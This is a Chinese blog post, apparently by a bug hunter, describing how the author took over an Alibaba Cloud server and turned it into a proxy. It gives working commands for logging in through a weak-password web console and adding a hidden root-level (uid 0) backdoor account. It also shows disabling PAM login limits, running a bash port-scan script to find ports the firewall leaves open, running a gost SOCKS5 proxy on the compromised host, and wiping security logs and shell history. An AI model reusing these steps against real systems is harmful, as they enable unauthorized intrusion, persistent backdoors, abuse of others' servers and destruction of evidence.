如何绕过云服务器的防火墙策略?

背景

最近挖洞的时候遇到了一个非常普遍又很棘手的问题:如果你在拿下某台云服务器的权限后,想在这台云服务器上搭建某种服务,则需要开启某个端口。而阿里云、腾讯云这种厂商都会默认开启防火墙,只开放几个特定的端口,比如80、22、3389。而且这种限制端口的方式(在我的知识水平内)只有登录云服务器账号的控制台才能修改策略,并不是靠shell权限就能修改的。

image-20231115133429929

拿下权限

这个系统是一个shell集成管理系统,弱口令进入后台之后,后台直接有一个模块就是提供给你一个shell框。

这是不是就算拿到shell了?但是在别人的网页里、每次还要登录的shell总是不稳定的,于是就准备把shell外带出来。

微步看了下,是阿里云,这就涉及到我开头所说的问题了。

image-20231101151328071

一开始想着传shell什么的,但可能是因为防护策略的原因,shell极其地不稳定。于是就想干脆创个root权限的用户算了。

1
2
#创建一个root权限的名为test,密码是123456的账户
useradd -u 0 -g 0 -p WbxzsPkWzOOkU -o test

创建之后打开mobaXterm,准备连接一下,发现连接不上,但明明在网页上就存在一个ssh连接的命令行终端呀。

image-20231101152948825

去网页的shell里netstat一下,发现这台服务器的ssh端口是22022(好贼)。

image-20231101153308734

重新ssh它的22022端口,发现还是连接不上,但这次是输入密码之后报的错。

image-20231115134240628

于是我们再到网页上的shell里面看一下日志

1
tail -f /var/log/secure

image-20231101155254343

发现是pam认证不允许uid>=1000的用户远程登录,而我们创建的test用户uid是0,所以不允许登录。于是在shell上修改一下pam文件。

在以下三个文件中寻找相关配置。

  1. /etc/pam.d/system-auth
  2. /etc/pam.d/sshd
  3. /etc/pam.d/login

发现/etc/pam.d/system-auth中存在相关配置,将其注释。

image-20231101155801991

重新启动ssh服务:

1
systemctl restart sshd

有时可能还需要清除以下PAM缓存:

1
pam_tally --reset

再次远程ssh连接test用户,发现成功登录。

image-20231101155955062

至此,才算是真正拿下了权限。(虽然这个ssh还是不稳定,一段时间不输入就会断)。

代理

最近发现很多情景下都要用到国内代理,而直接买国内代理池又比较贵,就想着在这台服务器上试一下设置代理服务器,以后遇到合适的服务器就可以用一下。

callback一下,回到开头划的重点,我们知道,现在腾讯云、阿里云等云服务器厂商一般都会默认强制开启防火墙,只放开22、3389等必要的端口,这就使我们的代理变得更加艰难。

现在有三个思路:

  1. netstat查看现在开放端口的服务,将该服务关闭,然后将我们的代理挂到这个端口。【不推荐,会影响该服务器正常业务】。
  2. 寻找一种方法,可以在云服务器上就调整其防火墙策略。【暂时没找到方法】。
  3. 探测该云服务器上防火墙放开,但没有部署服务的端口。

一番权衡之后,决定第三种思路比较可行,便开始研究。

本地测试

为了不留下多余的痕迹,我们先在自己的服务器上进行配置。

端口开放且部署服务:【80端口】

image-20231101104133426

端口开放且未部署服务:【10000端口】

在防火墙策略下放开这个端口的TCP/UDP协议【Socks5支持TCP和UDP】。

端口未开放:【12000端口】

image-20231101104358441

我们使用nc命令发现:

1
2
#这里超时最好设置为5,设置为3会更快但误报率会增加
nc -zv -w 5 <IP> <PORT>
  1. 对于端口开放且部署服务:【80端口】

image-20231101104620410

回显open

  1. 对于端口开放且未部署服务:【10000端口】

image-20231101104756534

回显Connection refused

  1. 对于端口未开放:【12000端口】

image-20231101104942267

回显Connection timed out

既然三种状态的回显都不同,那么就可以通过回显来判断三种状态。

下边直接放出编写好的一个bash脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/bash

# 设置要探测的IP
target_ip="x.x.x.x"

# 设置端口范围(从起始端口到结束端口)
start_port=1
end_port=65535

# 创建一个临时目录来存储输出文件
output_dir="./tmp/port_scan_output"
mkdir -p "$output_dir"

# 使用for循环来遍历端口范围,并在后台执行nc命令
for ((port=start_port; port<=end_port; port++)); do
nc -z -v -w 5 $target_ip $port > "$output_dir/port_$port.log" 2>&1 &
done

# 等待后台任务完成
wait

# 创建保存结果的目录res
result_dir="res"
mkdir -p "$result_dir"

# 获取当前时间戳
timestamp=$(date +%s)

# 初始化一个空的结果文件
result_file="$result_dir/result_$timestamp.txt"
touch "$result_file"

# 检查各个端口的扫描结果并将结果追加到结果文件中
for ((port=start_port; port<=end_port; port++)); do
result_log="$output_dir/port_$port.log"
if grep -q "open" "$result_log"; then
echo "端口 $port 开放且有服务" >> "$result_file"
echo "端口 $port 开放且有服务"
elif grep -q "refused" "$result_log"; then
echo "端口 $port 开放且无服务" >> "$result_file"
echo "端口 $port 开放且无服务"
else
echo "端口 $port 未开放" >> "$result_file"
fi
done

# 清理临时文件
rm -rf "$output_dir"

实战

执行脚本,我们找到了梦寐以求的端口:开放且无服务:

image-20231101162446872

接下来我们准备在目标服务器上挂上socks5代理,这里我们使用gost:

1
https://github.com/ginuerzh/gost

我们先将gost上传到一个不起眼的目录:

image-20231101163120101

再创建一个软链接,方便后台挂上gost

1
ln -s /tmp/gost-linux-amd64-2.11.5 /usr/bin/gost

后台开启gost,在80端口挂上代理。

1
nohup gost -L <用户名>:<密码>@:80 socks5://:80 > /dev/null 2>&1 &

image-20231101163438023

本地用proxifier试一下,挂上全局proxifier之后打开命令行curl一下cip.cc

image-20231101163738939

显示的IP确实就是代理服务器的IP。至此,代理服务器搭建成功。

收尾

最后证明一下我已经关闭了这个代理服务,并没有影响正常业务。

image-20231101164014866

删除一下痕迹

1
2
3
4
5
6
7
8
9
echo >/var/log/secure				删除安全日志

echo >/var/log/wtmp 清除用户登录信息

echo > /var/log/btmp 清除登陆系统失败的记录,也就是lastb命令看到的记录

echo > ~/.bash_history 清除历史执行命令

sed -i '/set/d' ~/.bash_history 删除刚才删除history的记录

展望

最后的最后,还是留下了一个问题:

有没有一种方法,能够在服务器的shell权限下,就对云服务器的防火墙策略进行更改?

望师傅们提供思路。